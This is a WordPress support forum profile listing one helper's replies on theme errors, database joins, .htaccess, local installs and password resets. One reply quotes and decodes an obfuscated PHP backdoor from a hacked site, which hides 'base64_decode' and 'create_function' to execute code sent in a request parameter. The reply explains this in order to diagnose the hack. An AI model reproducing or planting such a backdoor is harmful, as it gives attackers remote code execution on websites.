RossMitchell
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Review plugin recommendations?In my experience that only thing to do is to try the candidate plugins and see how they work. Maybe even have an experimental site to do this with and keep your production site unchanged until you know which options to choose.
Forum: Fixing WordPress
In reply to: Stars in Serp not show up all of the timeYour theme has serious issues as I discussed in another thread.
Suggest that until the theme is addressed that you not divert your efforts into investigations that will change their context anyway.Forum: Fixing WordPress
In reply to: Just my header showing up in ExplorerThe problem is that your theme has some problems. Some page elements are missing like the “doctype” header, when pages are improperly structured or have structural errors, some browsers are better at guessing than others, sometimes their guesses work better than others.
I used a validator program at https://validator.w3.org/
It gave me this report, the first and most startling thing about it is that the doctype field is missing.
https://validator.w3.org/check?uri=http%3A%2F%2Fwww.pdqfirewaterdamage.com%2Fwater-damage-morristown-nj%2F&charset=%28detect+automatically%29&doctype=Inline&group=0Suggest that you get support from your theme author.
Forum: Fixing WordPress
In reply to: Error Message when Visiting SiteI am afraid that the code fragment you posted shows really suspect code, code that IMHX would never have a legit role in a website. I suspect that this code is only being shown because of another error. The code as I decode it is in part:
if(isset($_REQUEST[‘sort’])){ $string = $_REQUEST[‘sort’]; $array_name = ”; $alphabet = “wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”; # 1111111111222222222233333333334444444444 #01234567890123456789012345678901234567890123456789 #wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2 $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); # b a s e 6 4 _ d e c o d e foreach($ar as $t){ $array_name .= $alphabet[$t]; } #$array_name = base64_decode $a = strrev(“noi”.”tcnuf”.”_eta”.”erc”); #$a = create_function $f = $a(“”, $array_name($string)); # $f = function("", base64_decode($_REQUEST[‘sort’]));Creating a function using base64_decode content is a very suspicious thing, the elaborate code used to conceal the base64 and “function” is indicative that scrutiny is feared.
So I am afraid that your website has been hacked.
Keep calm and follow these docs:
https://codex.wordpress.org/FAQ_My_site_was_hacked
https://codex.wordpress.org/Hardening_WordPressForum: Fixing WordPress
In reply to: Generate custom form from an access databaseThis is what I would do:
– in your access database export the table contents in CSV format, also make notes of the table layouts.
– create a localhost install for development and testing, so much faster this way, look at http://www.ampps.com/ this is a one stop shop for both the core webserver and lots of good tools and addons.
– in phpmyadmin which is a SQL interactive browser tool create tables that are equivalent to access. Import your CSV data.
– create a plugin that provides shortcodes that use your custom tables, the rest of WordPress will never know about your tables. Using shortcodes saves you from creating custom page templates in your (child) theme.Useful docs are:
database access: http://codex.wordpress.org/Class_Reference/wpdb
shortcodes: https://codex.wordpress.org/Shortcode_API
example plugin: https://wordpress.org/plugins/wp-csv-to-database/
php checker: https://www.piliapp.com/php-syntax-check/I started with the example plugin, it showed me lots of examples of how to do forms / html fields / database actions. Since then I have developed several apps hosted in WordPress.
Forum: Everything else WordPress
In reply to: Sync FieldsYou described the fields of the locations table, not how it is looked up. My question was reasonable. You clearly don’t need my assistance.
Bye.
Forum: Everything else WordPress
In reply to: Sync FieldsPresumably it is business names which are being looked up in the main table to get among other fields the business address. Please describe what is being looked up in the locations table ?
Forum: Everything else WordPress
In reply to: Sync FieldsA “JOIN” is a variation to the SQL “SELECT” statement, it lets you construct a synthetic database row that combines fields from multiple tables that match on specified criteria.
More details available here:
https://dev.mysql.com/doc/refman/5.7/en/select.html
https://dev.mysql.com/doc/refman/5.7/en/join.htmlIf you could list the fields from the main and locations tables that pertain to your question, and also provide say 3 rows of data covering say 2 different locations, and also the SELECT statement you use on the main table, then I will be able to show you how the join works.
Forum: Fixing WordPress
In reply to: Permalink / Htaccess problemThe .htaccess file you posted should be OK. It should work.
BUT it will only work if your server configuration has the “mod_rewrite” module enabled. Possibly ask your webhosting support.
OR create a file on your server like this:
anameInfo.php:<?php phpinfo(); ?>The output of this will show which modules are enabled.
Remove this file once you are done with it since the output contains details which may compromise your security.Forum: Fixing WordPress
In reply to: woocommerce checkout page problemSuggest also asking this question in the woocommerce support forum, there will be more people with more relevant experience there.
Forum: Everything else WordPress
In reply to: Sync FieldsIt is a basic principle of database design that you don’t duplicate data that is identical. Difference is information, no difference means no information. And there are always problems when trying to maintain the duplicates.
If the location table always matches the main table, then the info can be fetched using a JOIN.Forum: Localhost Installs
In reply to: Moving ampps from one mac to anotherSo you have the website files including images and plugins and themes, this is a good start.
The bigger part of a website is what is in the database, the pages + posts + menus and widgets etc. The AMPPS package will have used mySQL to manage the database, of course the database itself is stored in files, but these are wired into the mySQL server. Your challenge is to get these files from your failed drive, and get a working database server to access these old database within them, once you have done this you will be able to export the database and import it into your new AMPPS setup. Much of this is outside the scope of WordPress and relies upon AMPPS and mySQL configurations, so it is to their support forums that I direct you for the details.Forum: Fixing WordPress
In reply to: Change smiley size?Suggest seeking support in the plugin’s own support forum.
Forum: Fixing WordPress
In reply to: i dont remember login and password to login wordpressThis doc give you lots of different ways to break back into your website, all of the methods work, depending upon your circumstances some will be easier for you than others.
https://codex.wordpress.org/Resetting_Your_PasswordIt would help me if you created a table which showed for each of your websites:
– The URL + directory
– the technology used
– the purposeI am sure this would help me, it may also help you.